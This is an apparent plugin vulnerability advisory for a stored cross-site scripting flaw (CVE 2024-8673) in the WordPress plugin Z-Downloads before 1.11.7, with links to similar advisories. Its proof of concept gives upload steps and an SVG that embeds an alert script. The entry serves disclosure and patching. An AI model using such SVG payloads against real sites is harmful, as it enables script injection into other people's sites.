Z-Downloads < 1.11.7 – Admin+ Stored XSS via SVG Upload | CVE 2024-8673 | Plugin Vulnerabilities

Description

The plugin does not properly validate uploaded files allowing for the uploading of SVGs containing malicious JavaScript.

Proof of Concept

1. Go to "Z-Downloads > Upload a File"
2. Upload an SVG containing the markup:

<svg xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">alert("xss");</script>
</svg>

3. Access the file and see the XSS

Affects Plugins

Fixed in 1.11.7

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Bob Matyas

Submitter

Bob Matyas

Submitter website

https://www.bobmatyas.com

Submitter twitter

Verified

Yes

WPVDB ID

fed2cd26-7ccb-419d-b589-978410953bf4

Timeline

Publicly Published

2024-08-06 (about 1 year ago)

Added

2024-09-24 (about 1 year ago)

Last Updated

2024-09-24 (about 1 year ago)

Other

Published

Title

Published

2025-01-06

Title

Widgetize Pages Light <= 3.0 - Reflected Cross-Site Scripting

Published

2025-01-17

Title

Guten Free Options <= 0.9.5 - Reflected XSS

Published

2025-11-24

Title

Just Highlight <= 1.0.3 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Highlight Color' Setting

Published

2024-11-06

Title

Prime Slider - Addons For Elementor (Revolution of a slider, Hero Slider, Ecommerce Slider < 3.15.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via Blog Widget

Published

2025-09-22

Title

DELUCKS SEO <= 2.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting